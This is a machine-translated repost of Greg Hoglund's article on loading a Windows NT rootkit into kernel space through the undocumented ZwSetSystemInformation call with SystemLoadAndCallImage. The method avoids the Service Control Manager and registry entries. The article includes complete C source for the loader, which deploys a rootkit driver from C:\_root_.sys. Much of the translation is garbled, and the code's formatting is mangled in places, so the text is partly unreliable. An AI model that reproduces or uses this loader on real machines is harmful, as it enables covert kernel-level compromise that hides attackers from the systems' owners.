Use systemloadandcallimage to load Rootkit

Source: Internet
Author: User
Use systemloadandcallimage to load Rootkit

From: http://www.xfocus.net
Created:
Article attributes: original
Article submission: Sephiroth _ (kinvis_at_hotmail.com)

Sephiroth. v

[Preface]
I recently began to be interested in the NT rootkit, but there is nothing surprising about the domestic information. In this regard, it is almost blank, only Gary Hoglund translated an article titled modifying the real rootkit of the NT kernel. After a few days of transfer to a foreign website, it is not a small gain. The foreign research in this area is indeed much deeper. Now I have translated another Gary Hoglund article. I have added some personal notes in this article. If you are interested in the NT rootkit, you can go to www.rootkit.com to see it, there are Gary Hoglund and a lot of excellent nt rootkit and a lot of valuable information.

[Body]
Hello everyone.

There has been a discussion on how to protect the system from rootkit in kernel mode on netbugtraq over this time. This is a good phenomenon. The purpose of rootkit.com is to let people think about this problem. For example, there is now a pedemo-software ANTI-ROOTKIT (full name Integrity Protection driver ).

On blackhat briefings this year, many smart people are talking about how many methods are there to load code into the kernel mode-obviously being influenced by "ANTI-ROOTKIT. Many rootkit authors have also joined the list. So we are going to change this Windows rootkit.

Till now, this Windows rootkit has been designed as a driver. But there is no reason that a rookit must be designed as a driver-or a module that can be loaded. Last year, we released rootkit to prove that software in full user mode is basically meaningless. Think about it. Anyone who can hack your system can load it into the kernel mode, which is 100% guaranteed. If an attacker uses a user-level account to access your system, the attacker then obtains administrator-to obtain sufficient permissions to load the kernel-mode code. In the face of this fact, it is easy to see that your service provider's solution is very fragile to leave your knowledge.

The idea of putting full protection into the kernel mode is good, but it cannot be done unless Microsoft solves it by itself. If Microsoft does, the security company will disappear :)

Some people have proposed a method to load the kernel mode code, using an unpublished entry

(Entry Point) enter the kernel space-bifang Xiang/dev/physicalmemory device, or a system call (syscall) using "systemloadandcallimage ). We continue our research, but the fact is that there is a leverage point that is not supported by the operating system to control the entry into kernel mode-because of this, the new entry point) it is always discovered.

Assuming that Microsoft does fix the NT structure to protect against the methods mentioned above, there are still ways to find buffer overflow in the kernel. Each Third-Party driver you install may cause buffer overflow through IOCTL () commands or even common read/write messages. Even the default drivers in NT are fragile in this regard.

When rookit is processed as a driver, we use the Service Control Manager (SCM) to load or remove the driver from the kernel space. This is a default standard, and it requires the rootkit driver to have a key value under the Registry CurrentControlSet/services. Now this situation has changed. We have improved this rootkit so that when it is loaded into the kernel space, neither the driver nor the registry key value is required. We do not use SCM anymore. Instead, it uses a separate interrupt call-
The NT System Call of zwsetsysteminformation. With this call, We can immediately load this rootkit and activate it.

-Greg Hoglund

Source code:

////////////////////////////////////////
// New deployment module for rootkit 040
//-------------------------------------
//-Greg Hoglund http://www.rootkit.com
////////////////////////////////////////
# Include <windows. h>
# Include <stdio. h>

Typedef struct _ unicode_string {
Ushort length;
Ushort maximumlength;
# Ifdef midl_pass
[Size_is (maximumlength/2), length_is (length)/2)] ushort *

Buffer;
# Else // midl_pass
Pwstr buffer;
# Endif // midl_pass
} Unicode_string, * punicode_string;

Typedef unsigned long ntstatus; // I think this should be typedef long ntstatus,

// Otherwise, the value of an unsigned is always not less than 0. The following Macro will

// Problem
# Define nt_success (Status) (ntstatus) (Status)> = 0)

Ntstatus (_ stdcall * zwsetsysteminformation )(
In DWORD systeminformationclass,
In out pvoid systeminformation,
In ulong systeminformationlength
);

/*
// For the usage of zwsetsysteminformation, refer to the Windows NT/2000

// Native API // reference
// Set the information that affects the operating system. The definition is as follows:
// Ntsysapi
// Ntstatus
// Ntapi
// Zwsetsysteminformation (
// In system_imformation_calss systeminformationclass,
// In out pvoid systeminformation,
// In ulong systeminformationlength );
//
// Parameters:
// Systeminformationclass: Type of the system information to be set, value:

System_imformation_calss: a subset of the enumerated system_imformation_calss. systemloadandcallimage is

One of them:
// Typedef struct _ system_load_and_call_image {// Information Class

38. // unicode_string modulename;
//} System_load_and_call_image, * psystem_load_and_call_image;
//
// Member:
// Module: the complete path of the native nt format of the module to be loaded
//
// Remarks:
// This information class can only be set. Instead of setting any information, you can load a module.

To the kernel address space and call/use its entry point operations. The expected entry point is a routine with two parameters.

The _ stdcall routine of the number (consistent with the // DriverEntry routine of the device driver ). If

If a failed code is returned by the port point routine, the module is uninstalled.
//
// Systeminformation: point to the buffer or variable allocated by a caller who contains the set information
// Systeminformationlength: The size of systeminformaiton in bytes.

Set it // systeminformationclass
//
*/

Void (_ stdcall * rtlinitunicodestring )(
In out punicode_string destinationstring,
In pcwstr sourcestring
);

Typedef struct _ system_load_and_call_image
{
Unicode_string modulename;
} System_load_and_call_image, * psystem_load_and_call_image;

# Define systemloadandcallimage 38

Void main (void)
{
//////////////////////////////////////// ///////////////////////
// Why mess with drivers?
//////////////////////////////////////// ///////////////////////
System_load_and_call_image gregsimage;
Wchar dapath [] = l "//?? // C: // _ root _. sys ";

//////////////////////////////////////// //////////////////////
// Get DLL entry points
//////////////////////////////////////// //////////////////////
If (! (Rtlinitunicodestring =
(Void *) getprocaddress (getmodulehandle ("NTDLL. dll "),
"Rtlinitunicodestring") // obtain it in Ntdll. dll

Rtlinitunicodestring address
Exit (1 );

If (! (Zwsetsysteminformation =
(Void *) getprocaddress (getmodulehandle ("NTDLL. dll "),
"Zwsetsysteminformation") // obtain it in Ntdll. dll

Zwsetsysteminformation address
Exit (1 );

Rtlinitunicodestring (& (gregsimage. modulename ),
Dapath); // create a device

If (nt_success (
Zwsetsysteminformation (systemloadandcallimage,
& Gregsimage,
Sizeof (system_load_and_call_image) // load the file into the kernel space
{
Printf ("rootkit loaded./N ");
}
Else
{
Printf ("rootkit not loaded./N ");
}
}

If your younger brother has a limited level, you may find something wrong. If you have any comments or opinions, please contact me.
Email: kinvis@hotmail.com

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.